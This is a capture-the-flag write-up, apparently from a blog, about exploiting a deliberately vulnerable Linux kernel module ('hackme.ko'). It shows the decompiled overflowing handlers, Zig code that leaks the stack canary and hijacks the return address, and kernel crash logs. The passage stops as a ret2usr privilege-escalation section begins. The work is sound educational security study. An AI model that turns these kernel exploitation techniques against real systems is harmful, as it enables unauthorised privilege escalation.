2025-07-25
Tags: pwn
This challenge was my first experience with kernel pwn, and I've
got to say it's a pretty good introduction!
== [1m[4mDescription[22m[24m
Security is difficult, and defenses should be always taken
with a grain of salt.
Who would win?
A buffer overflow or The Hottest Linux Defenses?
Flag is in [40m[35m`/dev/sda`[39m[49m.
=== [1m[4mFiles[22m[24m
== [1m[4mSolution[22m[24m
We're given the kernel image [40m`vmlinuz`[49m and the
[40m`initramfs.cpio.gz`[49m; let's see what we're working with:
[1m[37mextract-vmlinux vmlinuz > vmlinux[0m
[1m[37mfile vmlinux[0m
[1m[37mvmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)[0m
[1m[37mmkdir -p initramfs[0m[1m[37m;[0m[1m[37m [0m[37mcd[0m[1m[37m initramfs[0m
[1m[37mzcat ../initramfs.cpio.gz [0m[1m[37m|[0m[1m[37m cpio -id --quiet[0m
[1m[37mls[0m
[1m[37mbin[0m
[1m[37metc[0m
[1m[37mhackme.ko[0m
[1m[37minit[0m
[1m[37mroot[0m
[1m[37msbin[0m
[1m[37musr[0m
[1m[37mpwn checksec ./initramfs/hackme.ko 2>[0m[1m[37m&[0m[1m[36m1[0m[1m[37m[0m
[1m[37m[*] './initramfs/hackme.ko'[0m
[1m[37m Arch: amd64-64-little[0m
[1m[37m RELRO: No RELRO[0m
[1m[37m Stack: Canary found[0m
[1m[37m NX: NX enabled[0m
[1m[37m PIE: No PIE (0x0)[0m
[1m[37m Stripped: No[0m
[1m[37m Debuginfo: Yes[0m
Let's load [40m`hackme.ko`[49m into IDA:
[1m[36mssize_t[0m[1m[37m [0m[33m__fastcall[0m[1m[37m [0m[37mhackme_read[0m[1m[37m([0m[1m[37mfile[0m[1m[37m [0m[1m[36m*[0m[1m[37mf[0m[1m[37m,[0m[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[36mloff_t[0m[1m[37m [0m[1m[36m*[0m[1m[37moff[0m[1m[37m)[0m[1m[37m[0m
[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[33m__int64[0m[1m[37m [0m[1m[37mv4[0m[1m[37m;[0m[1m[37m [0m[33m// rdx[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[33m__int64[0m[1m[37m [0m[1m[37mv5[0m[1m[37m;[0m[1m[37m [0m[33m// rbx[0m
[1m[37m [0m[1m[36mbool[0m[1m[37m [0m[1m[37mv6[0m[1m[37m;[0m[1m[37m [0m[33m// zf[0m
[1m[37m [0m[1m[36mssize_t[0m[1m[37m [0m[1m[37mresult[0m[1m[37m;[0m[1m[37m [0m[33m// rax[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mtmp[0m[1m[37m[[0m[1m[36m32[0m[1m[37m];[0m[1m[37m [0m[33m// [rsp+0h] [rbp-A0h] BYREF[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[33m__int64[0m[1m[37m [0m[1m[37mv9[0m[1m[37m;[0m[1m[37m [0m[33m// [rsp+80h] [rbp-20h][0m
[1m[37m[0m
[1m[37m [0m[37m_fentry__[0m[1m[37m([0m[1m[37mf[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mv5[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mv4[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mv9[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m__readgsqword[0m[1m[37m([0m[1m[36m0x28u[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37m_memcpy[0m[1m[37m([0m[1m[37mhackme_buf[0m[1m[37m,[0m[1m[37m [0m[1m[37mtmp[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37m [0m[1m[37mv5[0m[1m[37m [0m[1m[36m>[0m[1m[37m [0m[1m[36m0x1000[0m[1m[37m [0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37m_warn_printk[0m[1m[37m([0m[33m"Buffer overflow detected (%d < %lu)![0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[36m4096[0m[1m[37m,[0m[1m[37m [0m[1m[37mv5[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37mBUG[0m[1m[37m();[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m [0m[37m_check_object_size[0m[1m[37m([0m[1m[37mhackme_buf[0m[1m[37m,[0m[1m[37m [0m[1m[37mv5[0m[1m[37m,[0m[1m[37m [0m[1m[36m1LL[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mv6[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mcopy_to_user[0m[1m[37m([0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[37mhackme_buf[0m[1m[37m,[0m[1m[37m [0m[1m[37mv5[0m[1m[37m)[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[36m0[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mresult[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m-[0m[1m[36m14LL[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37m [0m[1m[37mv6[0m[1m[37m [0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mv5[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mresult[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[1m[36mssize_t[0m[1m[37m [0m[33m__fastcall[0m[1m[37m [0m[37mhackme_write[0m[1m[37m([0m[1m[37mfile[0m[1m[37m [0m[1m[36m*[0m[1m[37mf[0m[1m[37m,[0m[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[36mloff_t[0m[1m[37m [0m[1m[36m*[0m[1m[37moff[0m[1m[37m)[0m[1m[37m[0m
[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[33m__int64[0m[1m[37m [0m[1m[37mv4[0m[1m[37m;[0m[1m[37m [0m[33m// rdx[0m
[1m[37m [0m[1m[36mssize_t[0m[1m[37m [0m[1m[37mv5[0m[1m[37m;[0m[1m[37m [0m[33m// rbx[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mtmp[0m[1m[37m[[0m[1m[36m32[0m[1m[37m];[0m[1m[37m [0m[33m// [rsp+0h] [rbp-A0h] BYREF[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[33m__int64[0m[1m[37m [0m[1m[37mv8[0m[1m[37m;[0m[1m[37m [0m[33m// [rsp+80h] [rbp-20h][0m
[1m[37m[0m
[1m[37m [0m[37m_fentry__[0m[1m[37m([0m[1m[37mf[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37moff[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mv5[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mv4[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mv8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m__readgsqword[0m[1m[37m([0m[1m[36m0x28u[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37m [0m[1m[37mv4[0m[1m[37m [0m[1m[36m>[0m[1m[37m [0m[1m[36m0x1000[0m[1m[37m [0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37m_warn_printk[0m[1m[37m([0m[33m"Buffer overflow detected (%d < %lu)![0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[36m4096LL[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37mBUG[0m[1m[37m();[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m [0m[37m_check_object_size[0m[1m[37m([0m[1m[37mhackme_buf[0m[1m[37m,[0m[1m[37m [0m[1m[37mv4[0m[1m[37m,[0m[1m[37m [0m[1m[36m0LL[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37m [0m[37mcopy_from_user[0m[1m[37m([0m[1m[37mhackme_buf[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[37mv5[0m[1m[37m)[0m[1m[37m [0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[36m-[0m[1m[36m14LL[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[37m_memcpy[0m[1m[37m([0m[1m[37mtmp[0m[1m[37m,[0m[1m[37m [0m[1m[37mhackme_buf[0m[1m[37m,[0m[1m[37m [0m[1m[37mv5[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mv5[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
Ok, a kernel module that will happily
[40m[35m`read`[39m[49m/[40m[35m`write`[39m[49m in way
more than it's supposed to.
Let's check that we do indeed smash the stack:
[33mconst[0m[1m[37m [0m[1m[37mstd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@import[0m[1m[37m([0m[33m"std"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[33mpub[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37mmain[0m[1m[37m()[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mopen[0m[1m[37m([0m[33m"/dev/hackme"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mACCMODE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.[0m[1m[37mRDWR[0m[1m[37m [0m[1m[37m},[0m[1m[37m [0m[1m[36m0o660[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m40[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mbytes_read[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mdumpHex[0m[1m[37m([0m[1m[37mbuf[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[37mbytes_read[0m[1m[37m]);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mwrite[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[33m"nil"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m00007ffd2da7aa00 20 80 5F 07 80 88 FF FF E0 0F 00 00 00 00 00 00 ._.............[0m
[1m[37m00007ffd2da7aa10 00 E6 F6 3F FF 6D FB F3 10 68 CA 06 80 88 FF FF ...?.m...h......[0m
[1m[37m00007ffd2da7a9f0 68 FE 1B 00 00 C9 FF FF h.......[0m
[1m[37m[ 1.539980] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: hackme_write+0xae/0xc0 [hackme][0m
[1m[37m[ 1.540395] CPU: 0 PID: 112 Comm: exploit Tainted: G O 5.9.0-rc6+ #10[0m
[1m[37m[ 1.540600] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014[0m
[1m[37m[ 1.540865] Call Trace:[0m
[1m[37m[ 1.541476] dump_stack+0x74/0x92[0m
[1m[37m[ 1.541560] panic+0xfe/0x2e3[0m
[1m[37m[ 1.541641] ? hackme_write+0xae/0xc0 [hackme][0m
[1m[37m[ 1.541704] __stack_chk_fail+0x14/0x20[0m
[1m[37m[ 1.541757] hackme_write+0xae/0xc0 [hackme][0m
[1m[37m[ 1.541840] ? ksys_write+0xa7/0xe0[0m
[1m[37m[ 1.541910] ? exit_to_user_mode_prepare+0x31/0x180[0m
[1m[37m[ 1.541975] ? __x64_sys_write+0x1a/0x20[0m
[1m[37m[ 1.542036] ? do_syscall_64+0x37/0x80[0m
[1m[37m[ 1.542111] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9[0m
[1m[37m[ 1.542666] Kernel Offset: disabled[0m
[1m[37m[ 1.542945] Rebooting in 1 seconds..[0m
Sanity check complete.
Now let's leak that pesky stack canary!
According to IDA there's nothing below [40m[35m`int
tmp[32]`[39m[49m on the stack (besides the frame pointer), so the
offset should be 4 \* 32 + 8.
[1mPro tip:[22m
You can debug kernel modules under GDB by adding the offset
of a particular function or instruction to the base address
of said module, which can be found in
[40m[35m`/proc/modules`[39m[49m.
[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m4[0m[1m[36m*[0m[1m[36m32[0m[1m[36m+[0m[1m[36m8[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mreverse[0m[1m[37m([0m[1m[36mu8[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m..]);[0m[1m[37m[0m
[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mprint[0m[1m[37m([0m[33m"Stack canary is 0x{s}[0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfmt[0m[1m[37m.[0m[37mbytesToHex[0m[1m[37m([0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m..],[0m[1m[37m [0m[1m[37m.[0m[1m[37mlower[0m[1m[37m)});[0m[1m[37m[0m
[1m[37mStack canary is 0x1c55bfc54ff0b200[0m
Let's check if we can do a simple ret2win:
[33mconst[0m[1m[37m [0m[1m[37mtmp_size[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@sizeOf[0m[1m[37m([0m[1m[36mi32[0m[1m[37m)[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[36m32[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mbigEndianify[0m[1m[37m([0m[33mcomptime[0m[1m[37m [0m[1m[37mlen[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[][0m[33mconst[0m[1m[37m [0m[1m[36mu8[0m[1m[37m)[0m[1m[37m [0m[1m[37m[[0m[1m[37mlen[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbufLE[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[37mlen[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33minline[0m[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[36m0[0m[1m[37m..[0m[1m[37mlen[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mi[0m[1m[36m|[0m[1m[37m [0m[1m[37mbufLE[0m[1m[37m[[0m[1m[37mi[0m[1m[37m][0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m1[0m[1m[36m-[0m[1m[37mi[0m[1m[37m];[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mbufLE[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37m__spinlock[0m[1m[36m:[0m[1m[37m [0m[1m[36mbool[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mfalse[0m[1m[37m;[0m[1m[37m[0m
[33minline[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37mspin[0m[1m[37m()[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mwhile[0m[1m[37m [0m[1m[37m([0m[1m[36mtrue[0m[1m[37m)[0m[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37m__spinlock[0m[1m[37m)[0m[1m[37m [0m[33mbreak[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mleakCanary[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mu64[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[37mtmp_size[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mbytesAsValue[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mtmp_size[0m[1m[37m..]).[0m[1m[36m*[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mret2win[0m[1m[37m()[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33m// i don't understand why, but this doesn't work (for an unpriviledged shell)[0m
[1m[37m [0m[33m// std.debug.print("[INFO] You won!!\n", .{});[0m
[1m[37m [0m[33m// const argv = [_:null]?[*:0]const u8{"/usr/bin/whoami"};[0m
[1m[37m [0m[33m// switch (std.posix.execveZ(argv[0].?, argv[0..argv.len], &[_:null]?[*:0]const u8{})) {[0m
[1m[37m [0m[33m// else => unreachable,[0m
[1m[37m [0m[33m// }[0m
[1m[37m[0m
[1m[37m [0m[33masm[0m[1m[37m [0m[33mvolatile[0m[1m[37m([0m[33m"int3; nop"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mexploit[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[37m@intFromPtr[0m[1m[37m([0m[1m[36m&[0m[1m[37mret2win[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mprint[0m[1m[37m([0m[33m"[INFO] Address of ret2win is 0x{s}[0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfmt[0m[1m[37m.[0m[37mbytesToHex[0m[1m[37m([0m[37mbigEndianify[0m[1m[37m([0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[37m@constCast[0m[1m[37m([0m[1m[37mret[0m[1m[37m)),[0m[1m[37m [0m[1m[37m.[0m[1m[37mlower[0m[1m[37m)});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mcanary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[37mleakCanary[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mprint[0m[1m[37m([0m[33m"[INFO] Stack canary is 0x{s}[0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfmt[0m[1m[37m.[0m[37mbytesToHex[0m[1m[37m([0m[37mbigEndianify[0m[1m[37m([0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[37m@constCast[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mcanary[0m[1m[37m))),[0m[1m[37m [0m[1m[37m.[0m[1m[37mlower[0m[1m[37m)});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mpayload[0m[1m[37m [0m[1m[36m=[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{[0m[1m[36m0[0m[1m[37m}[0m[1m[37m [0m[1m[36m**[0m[1m[37m [0m[1m[37mtmp_size[0m[1m[37m [0m[1m[36m++[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mcanary[0m[1m[37m)[0m[1m[37m [0m[1m[36m++[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{[0m[1m[36m0[0m[1m[37m}[0m[1m[37m [0m[1m[36m**[0m[1m[37m [0m[1m[37m([0m[1m[36m8[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[36m3[0m[1m[37m)[0m[1m[37m [0m[1m[36m++[0m[1m[37m[0m
[1m[37m [0m[1m[37mret[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mwrite[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[37mpayload[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[INFO] Address of ret2win is 0x00000000010251b0[0m
[1m[37m[INFO] Stack canary is 0x5d0897751cd5fe00[0m
[1m[37m[ 2.480911] int3: 0000 [#1] SMP NOPTI[0m
[1m[37m[ 2.480961] CPU: 0 PID: 112 Comm: exploit Tainted: G O 5.9.0-rc6+ #10[0m
[1m[37m[ 2.480966] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014[0m
[1m[37m[ 2.480968] RIP: 0010:0x10251b1[0m
[1m[37m[ 2.480970] Code: Bad RIP value.[0m
[1m[37m[ 2.481005] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296[0m
[1m[37m[ 2.481028] RAX: 00000000000000a8 RBX: 0000000000000000 RCX: 0000000000000000[0m
[1m[37m[ 2.481031] RDX: 0000000000000008 RSI: ffffffffc00024e0 RDI: ffffc900001bfea8[0m
[1m[37m[ 2.481034] RBP: 0000000000000000 R08: 00000000010251b0 R09: 00000000010251b0[0m
[1m[37m[ 2.481037] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000[0m
[1m[37m[ 2.481039] R13: ffffc900001bfef0 R14: 00007ffe920c3488 R15: ffff8880060c8600[0m
[1m[37m[ 2.481042] FS: 0000000000000000(0000) GS:ffff888007800000(0000) knlGS:0000000000000000[0m
[1m[37m[ 2.481045] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033[0m
[1m[37m[ 2.481048] CR2: 000000000101fe20 CR3: 0000000006164000 CR4: 00000000000006f0[0m
[1m[37m[ 2.481050] Call Trace:[0m
[1m[37m[ 2.481052] ? ksys_write+0xa7/0xe0[0m
[1m[37m[ 2.481054] ? exit_to_user_mode_prepare+0x31/0x180[0m
[1m[37m[ 2.481056] ? __x64_sys_write+0x1a/0x20[0m
[1m[37m[ 2.481058] ? do_syscall_64+0x37/0x80[0m
[1m[37m[ 2.481061] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9[0m
[1m[37m[ 2.481063] Modules linked in: hackme(O)[0m
[1m[37m[ 2.485064] ---[ end trace 32df1ad37c4c8194 ]---[0m
[1m[37m[ 2.485072] RIP: 0010:0x10251b1[0m
[1m[37m[ 2.485075] Code: Bad RIP value.[0m
[1m[37m[ 2.485078] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296[0m
[1m[37m[ 2.485091] RAX: 00000000000000a8 RBX: 0000000000000000 RCX: 0000000000000000[0m
[1m[37m[ 2.485093] RDX: 0000000000000008 RSI: ffffffffc00024e0 RDI: ffffc900001bfea8[0m
[1m[37m[ 2.485096] RBP: 0000000000000000 R08: 00000000010251b0 R09: 00000000010251b0[0m
[1m[37m[ 2.485098] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000[0m
[1m[37m[ 2.485101] R13: ffffc900001bfef0 R14: 00007ffe920c3488 R15: ffff8880060c8600[0m
[1m[37m[ 2.485103] FS: 0000000000000000(0000) GS:ffff888007800000(0000) knlGS:0000000000000000[0m
[1m[37m[ 2.485106] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033[0m
[1m[37m[ 2.485108] CR2: 000000000101fe20 CR3: 0000000006164000 CR4: 00000000000006f0[0m
[1m[37m[ 2.485111] Kernel panic - not syncing: Fatal exception in interrupt[0m
[1m[37m[ 2.485661] Kernel Offset: disabled[0m
Nice.
=== [1m[4mret2usr[22m[24m
For priviledge escalation, we'll create a new set of root
